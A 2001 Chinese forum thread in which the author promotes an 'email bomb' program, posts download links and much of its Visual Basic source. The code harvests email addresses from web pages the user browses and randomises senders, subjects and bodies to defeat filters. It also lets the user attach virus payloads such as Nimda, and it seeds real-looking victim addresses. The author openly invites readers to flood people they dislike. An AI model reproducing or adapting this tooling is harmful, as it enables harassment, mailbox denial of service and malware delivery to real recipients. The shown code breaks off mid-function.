http://www.xici.net/d3610777.htm 4 956 2001-12-17 20:28:19
花嫁 家装 汽车 亲子 房产 财富 活动 鲜行 旅游 摄影 招聘
胡同口 > 摄影 > 四零影吧 > 用VB写的邮件炸弹!

用VB写的邮件炸弹!

*零度空间* 发表于:01-12-12 15:35
       *使用说明*
声明:本软件主要用于提取电子信箱地址和群发信件所用,严禁用于非法目的,后果自负!与作者无关!
                    性能简介
                 E-MAIL 终结者(版本1.1)
   这是一个小巧的发信软件,它带有自动信箱收集器,可以很快的收集网页上的邮件地址,使用时,只要将菜单里的自动信箱收集机打开,程序会自动以图标最小到任务条中(和一般防火墙一样)然后只要用IE上网浏览,你所浏览的当前网页上的邮件地址便会被收集起来,还可以分类保存这些地址,以供以后群发诸如通知或是宣传资料之类的东西所用。
当然,这个东东也可以用来炸人罗,嘿嘿,它的攻击能力非同一般,建议使用者最好在宽带网上使用,本软件支持发信服务器认证,攻击速度相当之快,以263.net或163.com为例,作者在某大学宽带校园网曾达到每分钟1200封(每封2~3Kb)的攻击速度!更重要的是它的反砍信机功能采用不定长度不定内容的字符串可以使攻击的每封邮件都具有不同的发信人,主题和内容。增加了被攻击方清除的难度。1.1版还可以调节信件的优先权。
                  1.0 版本 特色功能:
   支持发信服务器认证,较好的邮件列表发送,攻击速度快,在宽带上可达每分钟1000封以上垃圾邮件(当时263的SMTP功能未加连接后发送次数限制),具有一定的反砍信机能力。当然要攻击一个线程是不够的,你可以启动多次本程序以达多线程嘛!我已经把攻击时窗口缩成一个小条子,就是为你开多“线程”方便!(双击最下面的状态栏可以切换视图方式!)
                    1.1版本
  修正了原来版本中的发信错误使发信更加稳定,新增了不少功能:
一. 自动信箱收集器(以CHINAREN校友录为例,将全班的所有邮件地址加入列表只要几秒!)
二. 邮件地址分类保存,可以方便地将所收集的地址保存起来,以便以后使用,可以按各大ISP的类别归类,统计数量,之后输出到一个文件中)
三. 可使用OUTLOOK EXPRESS的存档文件使所发的信件可以用HTML方式和携带附件,
四. 增加选择弹体的攻击功能,可以自定义攻击代码,例如各种JAVA炸弹,ActiveX等
想不想好好治治你在网上所恨的人?那就来吧!对了,蓝屏和无限窗口不错!对于那些用WEB方式看信的人也有效,病毒嘛,首选尼姆达啦,人家用OE收信,就算有防火墙报警,你发个几百封都带病毒的,嘿嘿!收一封防火墙就会弹出一个报警窗口,要是几百封,光他自己安的防火墙弹出那么一大串报警窗口就可以让他当机了!接着他就会在重启中度过他的"欢乐时光"了!呵呵!
五. 反砍信功能,可以在反砍信功能菜单里选择,这样每一封信件都具有不同的主题,发信人和内容,不要瞎搞啊,要是你炸别人信箱的话,人家看到一定会大吃一惊!不过功能还是有限的,因为大家都知道,邮件头信息还是有很多相同的地方的。(注意:只有在发信方式是文本的方式下才能选择发信内容随机)
   不过偶由于才学VB不久,编程水平有限,只是想自己编个东东玩玩,所以难免有不足之处,大家有意见可以和我交流,我的信箱是tp0706s@sohu.com 喂,说好了,你可不许来炸我啊!
                                   2001.12 by 零度空间
 
 
 
给我写信

用VB写的邮件炸弹! 补充日期: 2001-12-12 14:40:27



给我写信

补充日期: 2001-12-12 14:53:54

下载地址:
http://emailbomb.home.sohu.com/emailcracker.zip (980k)
这是完全安装

给我写信

补充日期: 2001-12-12 15:05:18

如果你有VB或是VC的话,也可以只下这个就行了
http://emailbomb.home.sohu.com/emailbomb.exe (152k)

给我写信


给我写信


brandy2000 发表于:01-12-14 10:40 0
2

有这个程序VB的源代码嘛!


诺基亚3290 发表于:01-12-15 05:26 0
3

就是呀 有的话发过来看看呀 我们也好学习学习

     _.-{__}-._ 
    .:-'`____`'-:. 
    /_.-"`_ _`"-._\ 
   /`  / .\/. \  `\ 
   |  \__/\__/  | 
  .-\        /-. 
  /  '._-.__--__.-_.'  \    事业我永远追求 
  /`'. `""""""""`  .'`\    对你我永不放弃  
  |  )   '    (  | 
  .'-;`______'________`;-' 
  `--------------------` 


*零度空间* 发表于:01-12-17 19:27 0
4

好的,大家放心,我马上就把完整的源文件给大家,因为这个软件还有很多不完善之处,也希望大家多多指教改正!

补充日期: 2001-12-17 19:35:21

完整的源文件在 http://emailbomb.home.sohu.com/code.zip

补充日期: 2001-12-17 19:36:35

sohu的主页空间不是很稳定,如果大家发现不能下载,不要急,过一段时间再试!

补充日期: 2001-12-17 19:38:44

以下是主体部分的源代码
'*** Create by WuJun in Nov.10.2001 ***'
'The Programe is for free,everyone can have a copy and modify it'
'I made this program is to help the people to give someone a lesson who didn't know the value of love and friendship'
'The user has better to use the SMTP of 263 or 163,because it has a high speed and is sported the user confirm system well'
'If the Network is in well transfer condition such like a wide cobe-line system that you can start 5 or 6 times this program'
'In that way to create 5 or 6 Line-Process to have a speed of about 20 mails per second!"
'You can say goodbye to a MailAddress after a few minutes!'
'Just try and enjoy it!'
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Private Const WM_GETTEXT = &HD
Private Const WM_GETTEXTLENGTH = &HE
Dim OEFName As String
Dim Priority As String
Dim DynArray() As String
Dim VirusBody As String
Dim strServerResponse  As String
Dim strResponseCode   As String
Dim strDataToSend    As String
Dim MailBody As String
Dim BombNumber As Integer
Dim mailnumber As Integer
Dim count1 As Integer
Dim pwd As String
Dim m_State As Integer
Dim User As String
Dim SpeedCount As Single
Dim Large_Or_Small As Boolean
Dim UrlAddress As String
Dim NetPageCode As String
Dim Information As String
Dim LastAddr As String
Dim buffer As String
Dim UrlBuffer As String
Dim CurrentUrl As String
Dim CurrentUrlDir As String
Dim CurrentUrlHtm As String
Dim StartTag As Integer
Dim EndTag As Integer
Dim TagPos As Integer
Dim CheckChar As String
Dim sCount As Integer
Dim UrlString(10) As String
Dim EndTagHtm As String
Dim StartPos As Integer
Dim EndPos As Integer
Function FindIt(ByVal SearchString As String, Data As String)
Dim i As Integer
i = 1
i = InStr(i, Data, SearchString, vbTextCompare)
If i Then
FindIt = i
Exit Function
Else
FindIt = 0
End If
End Function
Function GetChildUrl()
Dim TmpString As String
Dim flag As String
Dim FrameTag As String
Dim SrcTag As String
Information = NetPageCode
Dim i As Integer, iCount As Integer, j As Integer, k As Integer, m As Integer, N As Integer
sCount = 0
i = 1
Do
   If (i > Len(Information)) Then Exit Do
   i = InStr(i, Information, "<frame ", vbTextCompare)
   If i Then
   j = i
   j = InStr(j, Information, ">", vbTextCompare)
    If j Then
    TmpString = Mid(Information, i, j - i + 1)
    k = FindIt(".htm", TmpString)
    If k Then
     EndPos = k
     k = FindIt("src=", TmpString)
     If k Then
     StartPos = k
     flag = Mid(TmpString, k + 4, 1)
     If flag = """" Then
      UrlString(sCount) = CurrentUrlDir & Mid(Information, i + StartPos + 4, EndPos - (StartPos + 4) + 3)
     Else
      UrlString(sCount) = CurrentUrlDir & Mid(Information, i + StartPos + 3, EndPos - (StartPos + 4) + 4)
     End If
     sCount = sCount + 1
     Else
     End If
   Else
   End If
   End If
    i = i + 1
   End If
   
Loop While i
End Function
Function StartMail()
Dim TempString As Integer
On Error Resume Next
Dim i As Integer
Dim j As Integer
CurrentUrl = UrlBuffer
j = Len(CurrentUrl)
For i = Len(CurrentUrl) To 1 Step -1
If Mid(CurrentUrl, i, 1) = "/" Then
CurrentUrlDir = Mid(CurrentUrl, 1, i)
CurrentUrlHtm = Mid(CurrentUrl, i + 1, (Len(CurrentUrl) - i))
Exit For
End If
Next i
ProcessUrl (UrlBuffer)
GetChildUrl
For i = 0 To sCount
If UrlString(i) <> "" Then
ProcessUrl (UrlString(i))
End If
Next i
MnuKillSame_Click
End Function
Private Sub Class1_Click()
LinkToUrl ("http://panda714.alumni.chinaren.com")
End Sub
Private Sub Class2_Click()
LinkToUrl ("http://mdjkcs.alumni.chinaren.com")
End Sub
Private Sub Class3_Click()
LinkToUrl ("http://fangyu8557.alumni.chinaren.com")
End Sub
Private Sub Class4_Click()
LinkToUrl ("http://ctpanda.alumni.chinaren.com")
End Sub
Private Sub Class5_Click()
LinkToUrl ("http://zhang02046.alumni.chinaren.com")
End Sub
Private Sub Class6_Click()
LinkToUrl ("http://majun1997.alumni.chinaren.com")
End Sub
Private Sub CmdStop_Click()
Winsock1.Close
Timer1.Enabled = False
Tim_Speed.Enabled = False
CmdStop.Enabled = False
Me.Caption = "攻击已经停止!"
ProgressBar1.Value = 0
status.Caption = "攻击停止"
mailnumber = 0
StatusBar1.Panels(4).Text = "0"
StatusBar1.Panels(6).Text = ""
StatusBar1.Panels(8).Text = ""
LargeStatus
End Sub
Private Sub DownLoad1_Click()
LinkToUrl ("http://www.newhua.com")
End Sub
Private Sub inet1_statechanged(ByVal state As Integer)
On Error Resume Next
Select Case state
    Case icConnecting
    Me.Caption = "正在建立链接..."
    Case icConnected
    Me.Caption = "链接建立成功!"
    Case icReceivingResponse
    Me.Caption = "正在传输数据"
    Case 8
    Me.Caption = "数据传输完毕"
    Me.MousePointer = 0
    Case icError
    Me.MousePointer = 0
End Select
End Sub
Private Sub htmcode_Terminate()
If Inet1.StillExecuting Then
Inet1.Cancel
End If
End Sub
Private Function GetURL()
Dim sClassName As String
Dim lhwnd As Long
Dim WindowHandle As Long
lhwnd = 0
sClassName = ("IEFrame")
lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString)
sClassName = ("WorkerA")
lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString)
sClassName = ("ReBarWindow32")
lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString)
sClassName = ("ComboBoxEx32")
lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString)
sClassName = ("ComboBox")
lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString)
sClassName = ("Edit")
lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString)
WindowHandle = lhwnd
Dim TextLength As Long
TextLength = SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0&, 0&)
buffer = String(TextLength, 0)
Call SendMessageByString(WindowHandle, WM_GETTEXT, TextLength + 1, buffer)
GetURL = buffer
Exit Function
CallErrorA:
MsgBox Err.Description
Err.Clear
End Function
Private Sub MnuConnectAuto_Click()
If Not MnuConnectAuto.Checked Then
MnuConnectAuto.Checked = True
Else
MnuConnectAuto.Checked = False
End If
End Sub
Private Sub MnuInputOE_Click()
On Error Resume Next
VirusBody = ""
Dim LineString As String
dir.FileName = ""
dir.DialogTitle = "自定攻击代码"
dir.Filter = "OutLook Express(*.eml)|*.eml|(*.mht)|*.mht"
dir.FilterIndex = 2
dir.Action = 1
OEFName = dir.FileName
If OEFName = "" Then
MsgBox "没有选择文件", vbCritical, "提示"
Exit Sub
End If
MnuKindBlue.Checked = False
MnuKindText.Checked = False
MnuKindHappy.Checked = False
MnuKindNimuda.Checked = False
MnuKindFormat.Checked = False
MnuKindSet.Checked = False
MnuKindUser.Checked = False
MnuAntiContent.Checked = False
MsgBox "文件导入,可以发送", vbInformation, "提示"
txtContent.Text = "使用OUTLOOK存档信件,信件内容不可视,但可以发送"
txtContent.Locked = True
End Sub
Private Sub MnuKindSet_Click()
MnuAntiContent.Checked = False
MnuKindBlue.Checked = False
MnuKindText.Checked = False
MnuKindHappy.Checked = False
MnuKindNimuda.Checked = False
MnuKindFormat.Checked = False
MnuKindSet.Checked = True
MnuKindUser.Checked = False
txtContent.BackColor = &H0&
txtContent.ForeColor = &H8000000E
txtContent.Locked = True
txtContent.Text = "What do you want me to do?" & vbCrLf & "Analyzing Mission Topography..." & vbCrLf & "Preparing Equipment"
Load Virus
VirusBody = Virus.txtVirus(2).Text
Unload Virus
OEFName = ""
End Sub
Private Sub MnuKindUser_Click()
On Error Resume Next
VirusBody = ""
Dim FName As String
Dim LineString As String
dir.FileName = ""
dir.DialogTitle = "自定攻击代码"
dir.Filter = "所有文件(*.*)|*.*|(*.mht)|*.mht"
dir.FilterIndex = 2
dir.Action = 1
FName = dir.FileName
If FName <> "" Then
  Open FName For Input As #1
  While Not EOF(1)
  Line Input #1, LineString
  VirusBody = VirusBody & LineString & vbCrLf
  Wend
  Close #1
MnuKindBlue.Checked = False
MnuKindText.Checked = False
MnuKindHappy.Checked = False
MnuKindNimuda.Checked = False
MnuKindFormat.Checked = False
MnuKindSet.Checked = False
MnuKindUser.Checked = True
MsgBox VirusBody, vbInformation, "代码显示"
MnuAntiContent.Checked = False
txtContent.Text = "使用用户自定义代码"
OEFName = ""
End If
End Sub
Private Sub MnuSaveSort_Click()
On Error GoTo ErrorSave
Dim i As Integer, j As Integer, k As Integer, Pos As Integer, m As Integer, count As Integer, CountMail As Integer
Dim TmpData As String, Kind As String, SaveFileName As String
count = 0
k = 0
dir.CancelError = True
dir.Filter = "邮件列表文件(*.txt)|*.txt|任意格式文件(*.*)|*.*"
dir.FilterIndex = 1
dir.DialogTitle = "分类保存黑名单"
dir.Flags = cdlOFNOverwritePrompt
dir.ShowSave
SaveFileName = dir.FileName
For m = 0 To List1.ListCount - 1
  TmpData = List1.List(m)
  Pos = InStr(1, TmpData, "@")
  If Pos Then
   Kind = Mid(TmpData, Pos + 1, Len(TmpData) - Pos)
   SaveInArray TmpData, Kind
  End If
Next m
count = 1
Open SaveFileName For Output As #1
For i = 0 To 29
  If DynArray(i, 0) <> "" Then
  Print #1, "------------------------------ " & "属于" & DynArray(i, 0) & "的地址" & "  ------------------------------"
  Print #1, ""
  For j = 1 To UBound(DynArray, 2)
   If DynArray(i, j) <> "" Then
   k = ((count) / List1.ListCount) * 100
   ProgressBar1.Value = k
   Print #1, DynArray(i, j)
   CountMail = CountMail + 1
   count = count + 1
   End If
  Next j
  End If
  If CountMail <> 0 Then
  Print #1, Space(50) & "共有" & CountMail; "个"
  Print #1, ""
  CountMail = 0
  End If
Next i
MsgBox "所有邮件地址都已分类保存好了! :-)", vbInformation, "恭喜:"
ProgressBar1.Value = 0
Close #1
ReDim DynArray(29, 1)
Exit Sub
ErrorSave:
   If dir.FileName = "" Then
   Exit Sub
   End If
   MsgBox "写文件出错!", vbCritical, "警告:"
End Sub
Function SaveInArray(ByVal TmpData As String, ByVal Kind As String)
Dim i As Integer, j As Integer
For i = 0 To 29
  If DynArray(i, 0) = "" Then
    DynArray(i, 0) = Kind
    DynArray(i, 1) = TmpData
    Exit Function
  Else
    If DynArray(i, 0) = Kind Then
  
     For j = 1 To UBound(DynArray, 2)
       If DynArray(i, j) = "" Then
        DynArray(i, j) = TmpData
        Exit Function
       End If
     Next j
     ReDim Preserve DynArray(29, UBound(DynArray, 2) + 1)
     DynArray(i, j) = TmpData
     Exit Function
    End If
   End If
Next i
End Function
Private Sub MnuSearch1_Click()
LinkToUrl ("http://www.sohu.com")
End Sub
Private Sub MnuSearch2_Click()
LinkToUrl ("http://www.163.com")
End Sub
Private Sub MnuSearch3_Click()
LinkToUrl ("http://www.yahoo.com.cn")
End Sub
Private Sub MnuSetupHigh_Click()
MnuSetupHigh.Checked = True
MnuSetupNormal.Checked = False
MnuSetupLow.Checked = False
Priority = "X-Priority: 1" & vbCrLf & "x-MSMail-Priority: High" & vbCrLf
End Sub
Private Sub MnuSetupLow_Click()
MnuSetupHigh.Checked = False
MnuSetupNormal.Checked = False
MnuSetupLow.Checked = True
Priority = "X-Priority: 5" & vbCrLf & "x-MSMail-Priority: Low" & vbCrLf
End Sub
Private Sub MnuSetupNormal_Click()
MnuSetupHigh.Checked = False
MnuSetupNormal.Checked = True
MnuSetupLow.Checked = False
Priority = "X-Priority: 3" & vbCrLf & "x-MSMail-Priority: Normal" & vbCrLf
End Sub
Private Sub MnuSetupSave_Click()
If MnuSetupSave.Checked Then
MnuSetupSave.Checked = False
Else
MnuSetupSave.Checked = True
End If
End Sub
Private Sub MnuShowCode_Click()
If Not MnuKindText.Checked Then
MsgBox "from: " & txtSender & vbCrLf & "subject: " & txtSubject & vbCrLf & "MIME-Version: 1.0" & vbCrLf & Priority & VirusBody & vbCrLf & "." & vbCrLf, vbInformation, "代码显示"
End If
End Sub
Private Sub MnuTeach_Click()
LinkToUrl ("http://202.119.2.199/courses2/course/htm/mainframe.htm")
End Sub
Private Sub MnuTips_Click()
Dim txtFilePath As String
txtFilePath = App.Path & "\readme.txt"
ShellExecute 0, vbNullString, txtFilePath, vbNullString, vbNullString, vbNormalFocus
End Sub
Private Sub MnuWritetome_Click()
ShellExecute Me.hwnd, vbNullString, "mailto:tp0706s@sohu.com", vbNullString, "C:\", SW_SHOWNORMAL
End Sub
Private Sub MnuXici5_Click()
LinkToUrl ("http://b43441.xici.net")
End Sub
Private Sub MnuXici7_Click()
LinkToUrl ("http://b73920.xici.net")
End Sub
Private Sub MnuXici8_Click()
LinkToUrl ("http://b12700.xici.net")
End Sub
Private Sub MnuXicimain_Click()
LinkToUrl ("http://www.xici.net/main.asp")
End Sub
Function LinkToUrl(ByVal Address As String)
ShellExecute 0, vbNullString, Address, vbNullString, vbNullString, vbNormalFocus
End Function
Private Sub Time_GetMail_Timer()
LastAddr = UrlAddress
UrlAddress = GetURL
If UrlAddress <> "" And UrlAddress <> LastAddr Then
UrlBuffer = UrlAddress
StartMail
End If
End Sub
Function ProcessUrl(ByVal point As String)
Dim GotoUrl As String
GotoUrl = point
On Error Resume Next
If Len(GotoUrl) > 7 Then
Me.MousePointer = 11
NetPageCode = ""
Information = Inet1.OpenURL(GotoUrl, icString)
NetPageCode = Information
GetMailAdr (Information)
End If
End Function
Private Sub chkSMTP_Click()
If Not chkSMTP Then
TxtUser.Enabled = False
txtPwd.Enabled = False
TxtUser.BackColor = &H80000004
txtPwd.BackColor = &H80000004
End If
If chkSMTP Then
TxtUser.Enabled = True
txtPwd.Enabled = True
TxtUser.BackColor = &H80000005
txtPwd.BackColor = &H80000005
End If
End Sub
Private Sub Combo1_Click()
StatusBar1.Panels(2).Text = Combo1.Text
BombNumber = Combo1.Text
End Sub
Private Sub Form_Load()
On Error Resume Next
Me.Show
ReDim DynArray(29, 1) As String
Picture1.Picture = Form1.Icon
With Combo1
   .AddItem "1"
   For i = 100 To 1000 Step 100
   .AddItem i
   Next i
   .AddItem "2000"
   .AddItem "3000"
   .AddItem "5000"
   Combo1.ListIndex = 12
End With
BombNumber = Combo1.Text
StatusBar1.Panels(4).Text = "0"
StatusBar1.Panels(6).Text = "0"
With txtTo
.AddItem "duanli82@hotmail.com"
.AddItem "genius-boy@yeah.net"
.AddItem "flyfish1982@iloveu.com.cn"
.AddItem "st4@mail.china.com"
.AddItem "doujie@126.com"
End With
With txtFrom
.AddItem "destroyer01@163.com"
.AddItem "attacker01@163.com"
.AddItem "fuckman01@163.com"
.AddItem "destroyer01@263.net"
.AddItem "attacker01@263.net"
.AddItem "fuckman01@263.net"
End With
MnuAntiFrom.Checked = False
MnuAntiSubject.Checked = False
MnuAntiContent.Checked = False
MnuKindBlue.Checked = False
MnuKindText.Checked = True
MnuKindHappy.Checked = False
MnuKindNimuda.Checked = False
MnuKindFormat.Checked = False
Large_Or_Small = True
MnuCollectOFF.Enabled = False
MnuSetupHigh.Checked = True
Priority = "X-Priority: 1" & vbCrLf & "x-MSMail-Priority: High" & vbCrLf
txtFrom = GetSetting("emailcracker", "option", "txtfrom", txtFrom)
txtTo = GetSetting("emailcracker", "option", "txtto", txtTo)
TxtUser = GetSetting("emailcracker", "option", "txtuser", TxtUser)
txtPwd = GetSetting("emailcracker", "option", "txtpwd", txtPwd)
txtSMTPServer = GetSetting("emailcracker", "option", "txtsmtpserver", txtSMTPServer)
txtSender = GetSetting("emailcracker", "option", "txtsender", txtSender)
txtSubject = GetSetting("emailcracker", "option", "txtsubject", txtSubject)
End Sub
Private Sub Form_OLEDragDrop(Data As DataObject, Effect As Long, Button As Integer, Shift As Integer, x As Single, y As Single)
Dim i As Integer
Dim FName As String
  If Data.GetFormat(vbCFFiles) Then
    For i = 1 To Data.Files.count
       FName = Data.Files(i)
       InputFromFile (FName)
    Next i
  End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
RemoveIcon
If MnuSetupSave.Checked Then
SaveSetting "emailcracker", "option", "txtfrom", txtFrom
SaveSetting "emailcracker", "option", "txtto", txtTo
SaveSetting "emailcracker", "option", "txtuser", TxtUser
SaveSetting "emailcracker", "option", "txtpwd", txtPwd
SaveSetting "emailcracker", "option", "txtsmtpserver", txtSMTPServer
SaveSetting "emailcracker", "option", "txtsender", txtSender
SaveSetting "emailcracker", "option", "txtsubject", txtSubject
End If
Unload Form2
End Sub
Private Sub List1_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = 2 Then
PopupMenu MnuAttack
End If
End Sub
Private Sub List1_DblClick()
Dim i As Integer
i = List1.ListIndex
txtTo = List1.List(i)
End Sub
Private Sub Mnu163com_Click()
Dim Address As String
Address = "www.163.com"
Address = ShellExecute(0, vbNullString, Address, vbNullString, vbNullString, vbNormalFocus)
End Sub
Private Sub mnu21cn_Click()
Dim Address As String
Address = "www.21cn.com"
Address = ShellExecute(0, vbNullString, Address, vbNullString, vbNullString, vbNormalFocus)
End Sub
Private Sub Mnu263net_Click()
Dim Address As String
Address = "www.263.net"
Address = ShellExecute(0, vbNullString, Address, vbNullString, vbNullString, vbNormalFocus)
End Sub
Private Sub MnuAntiContent_Click()
  If Not MnuAntiContent.Checked And MnuKindText.Checked Then
  MnuAntiContent.Checked = True
  Randomize
  txtContent = RandomContent(Int((3000 - 1000 + 1) * Rnd) + 1000)
  txtContent.Locked = True
  ElseIf Not MnuKindText.Checked And Not MnuAntiContent.Checked Then
  MnuAntiContent.Checked = False
  Else
  MnuAntiContent.Checked = False
  txtContent = ""
  txtContent.Locked = False
  End If
End Sub
Private Sub MnuAntiFrom_Click()
If Not MnuAntiFrom.Checked = True Then
MnuAntiFrom.Checked = True
Randomize
txtSender = RandomContent(Int((15 - 5 + 1) * Rnd) + 5)
txtSender.Locked = True
Else
MnuAntiFrom.Checked = False
txtSender = ""
txtSender.Locked = False
End If
End Sub
Private Sub MnuAntiSubject_Click()
If Not MnuAntiSubject.Checked = True Then
MnuAntiSubject.Checked = True
txtSubject = RandomContent(Int((20 - 5 + 1) * Rnd) + 5)
txtSubject.Locked = True
Else
MnuAntiSubject.Checked = False
txtSubject = ""
txtSubject.Locked = False
End If
End Sub
Private Sub MnuClear_Click()
List1.Clear
TargetNum = 0
End Sub
Private Sub MnuCollectOFF_Click()
RemoveIcon
 MnuCollectON.Enabled = True
  MnuCollectOFF.Enabled = False
End Sub
Function RemoveIcon()
 '删除图标同时恢复窗口处理函数
       l = Icon_Del(Form2.hwnd)
       l = SetWindowLong(Form2.hwnd, GWL_WNDPROC, lproc)
End Function
Private Sub MnuCollectON_Click()
Dim l As Long
Form1.WindowState = vbMinimized
Form1.Hide
 If (Icon_Add(Form2.hwnd, Picture1.Picture)) Then
  xb = CMenu()    '添加弹出菜单
  Form1.Hide
  MnuCollectOFF.Enabled = True
   '将DialogProc函数设置为Form2的窗口处理函数并且保存原来窗口处理函数句柄
  lproc = SetWindowLong(Form2.hwnd, GWL_WNDPROC, AddressOf DialogProc)
 End If
Time_GetMail.Enabled = True
End Sub
Private Sub MnuFromClip_Click()
GetMailAdr (Clipboard.GetText)
End Sub
Function GetMailAdr(ByVal TextContent As String)
Dim i As Long
Dim Num As Long
Dim clipcontent As String
Dim char As String
Dim A As String
Dim B As String
Dim ListNum As Integer
Dim mailadd As String
clipcontent = TextContent
For i = 1 To Len(clipcontent)
  If Mid(clipcontent, i, 1) = "@" And i <> 1 Then
        Num = i - 1
        char = Mid(clipcontent, Num, 1)
      While (CheckA(char) = 1 And Num > 0)
         Num = Num - 1
         If Num = 0 Then GoTo A:
         char = Mid(clipcontent, Num, 1)
      Wend
A:
      A = Mid(clipcontent, Num + 1, i - Num - 1)
      Num = i + 1
      char = Mid(clipcontent, Num, 1)
      While CheckA(char) = 1 And Num < Len(clipcontent) + 1
         Num = Num + 1
         char = Mid(clipcontent, Num, 1)
      Wend
      B = Mid(clipcontent, i + 1, Num - i - 1)
      If A <> "" And B <> "" And InStr(1, B, ".") > 0 Then
       mailadd = A + "@" + B
       List1.AddItem LCase(mailadd)
       ListNum = ListNum + 1
      End If
  End If
Next i
Me.Caption = "黑名单中共有" + Str(List1.ListCount) + "个电子邮件地址"
TargetNum = List1.ListCount
End Function
Private Sub MnuFromFile_Click()
On Error Resume Next
List1.Clear
Dim FName As String
dir.FileName = ""
dir.Filter = "所有文件(*.*)|*.*|邮件列表文件(*.txt)|*.txt"
dir.FilterIndex = 2
dir.Action = 1
FName = dir.FileName
If FName <> "" Then
InputFromFile (FName)
End If
End Sub
Function InputFromFile(ByVal FName As String)
Dim i As Long
Dim Num As Long
Dim ListNum As Integer
Dim listcontent As String
Dim char As String
Dim A As String
Dim B As String
Dim mailadd As String
Open FName For Input As #1
ListNum = 0
While Not EOF(1)
Line Input #1, listcontent
listcontent = Trim(listcontent)
For i = 1 To Len(listcontent)
  If Mid(listcontent, i, 1) = "@" And i <> 1 Then
        Num = i - 1
        char = Mid(listcontent, Num, 1)
      While (CheckA(char) = 1 And Num > 0)
         Num = Num - 1
         If Num = 0 Then GoTo A:
         char = Mid(listcontent, Num, 1)
      Wend
A:
      A = Mid(listcontent, Num + 1, i - Num - 1)
      Num = i + 1
      char = Mid(listcontent, Num, 1)
      While CheckA(char) = 1 And Num < Len(listcontent) + 1
         Num = Num + 1
         char = Mid(listcontent, Num, 1)
      Wend
      B = Mid(listcontent, i + 1, Num - i - 1)
      If A <> "" And B <> "" Then
         mailadd = A + "@" + B
        List1.AddItem LCase(mailadd)
        ListNum = ListNum + 1
      End If
  End If
Next i
Wend
Me.Caption = "攻击列表中共有" + Str(List1.ListCount) + "个电子邮件地址"
TargetNum = List1.ListCount
Close #1
End Function
Private Sub MnuKillSame_Click()
Dim i As Integer
Dim j As Integer
Dim CheckItem As String
i = 0
Do While i < List1.ListCount
CheckItem = List1.List(i)
   For j = i + 1 To List1.ListCount - 1
   If List1.List(j) = CheckItem Then
   List1.RemoveItem j
   j = j - 1
   End If
   Next j
i = i + 1
Loop
TargetNum = List1.ListCount
Me.Caption = "攻击列表中共有" + Str(List1.ListCount) + "个电子邮件地址"
End Sub
Private Sub MnuKindBlue_Click()
MnuAntiContent.Checked = False
MnuKindBlue.Checked = True
MnuKindText.Checked = False
MnuKindHappy.Checked = False
MnuKindNimuda.Checked = False
MnuKindFormat.Checked = False
MnuKindSet.Checked = False
MnuKindUser.Checked = False
txtContent.BackColor = &HC00000
txtContent.ForeColor = &H8000000E
txtContent.Locked = True
txtContent.Text = vbCrLf & "         WINDOWS" & vbCrLf & vbCrLf & "A fatal exception 0E has occurred at 0028:c0044556 in VXD VFAT(01)+ 00002D6A" & vbCrLf & "The Current applicaton will be terminated!" & vbCrLf & vbCrLf & "*Press any key to terminate the current application" & vbCrLf & "*Press CTRL+ALT+DEL again to restart your computer" & vbCrLf & vbCrLf & " You will lose any unsaved information in all applications" & vbCrLf & "       press any key to continue"
Load Virus
VirusBody = Virus.txtVirus(0).Text
Unload Virus
OEFName = ""
End Sub
Private Sub MnuKindFormat_Click()
MnuAntiContent.Checked = False
MnuKindBlue.Checked = False
MnuKindText.Checked = False
MnuKindHappy.Checked = False
MnuKindNimuda.Checked = False
MnuKindFormat.Checked = True
MnuKindSet.Checked = False
MnuKindUser.Checked = False
txtContent.BackColor = &H0&
txtContent.ForeColor = &H8000000E
txtContent.Locked = True
txtContent.Text = "Checking existing disk format." & vbCrLf & "QuickFormatting C: D: E:" & vbCrLf & "Format complete."
Load Virus
VirusBody = Virus.txtVirus(1).Text
Unload Virus
OEFName = ""
End Sub
Private Sub MnuKindHappy_Click()
MnuAntiContent.Checked = False
MnuKindBlue.Checked = False
MnuKindText.Checked = False
MnuKindHappy.Checked = True
MnuKindNimuda.Checked = False
MnuKindFormat.Checked = False
MnuKindSet.Checked = False
MnuKindUser.Checked = False
txtContent.BackColor = &H0&
txtContent.ForeColor = &H8000000E
txtContent.Locked = True
txtContent.Text = "Hei! I am HAPPY TIME" & vbCrLf & "Ok! Sir." & vbCrLf & "It will be done in a moment!"
Load Virus
VirusBody = Virus.txtVirus(3).Text
Unload Virus
OEFName = ""
End Sub
Private Sub MnuKindNimuda_Click()
MnuAntiContent.Checked = False
MnuKindBlue.Checked = False
MnuKindText.Checked = False
MnuKindHappy.Checked = False
MnuKindNimuda.Checked = True
MnuKindFormat.Checked = False
MnuKindSet.Checked = False
MnuKindUser.Checked = False
txtContent.BackColor = &H0&
txtContent.ForeColor = &H8000000E
txtContent.Locked = True
txtContent.Text = "I am Nimda, I am Ready Sir!"
Load Virus
VirusBody = Virus.txtVirus(4).Text
Unload Virus
OEFName = ""
End Sub
Private Sub MnuKindText_Click()
MnuKindBlue.Checked = False
MnuKindText.Checked = True
MnuKindHappy.Checked = False
MnuKindNimuda.Checked = False
MnuKindFormat.Checked = False
MnuKindUser.Checked = False
txtContent.BackColor = &H8000000E
txtContent.ForeColor = &H0&
txtContent.Locked = False
txtContent.Text = ""
OEFName = ""
End Sub
Private Sub MnuKindVirus_Click()
MnuKindBlue.Checked = False
MnuKindText.Checked = False
MnuKindVirus.Checked = True
End Sub
Private Sub MnuSave_Click()
Dim k As Integer
Dim i As Integer
Dim SaveFileName As String
dir.CancelError = True
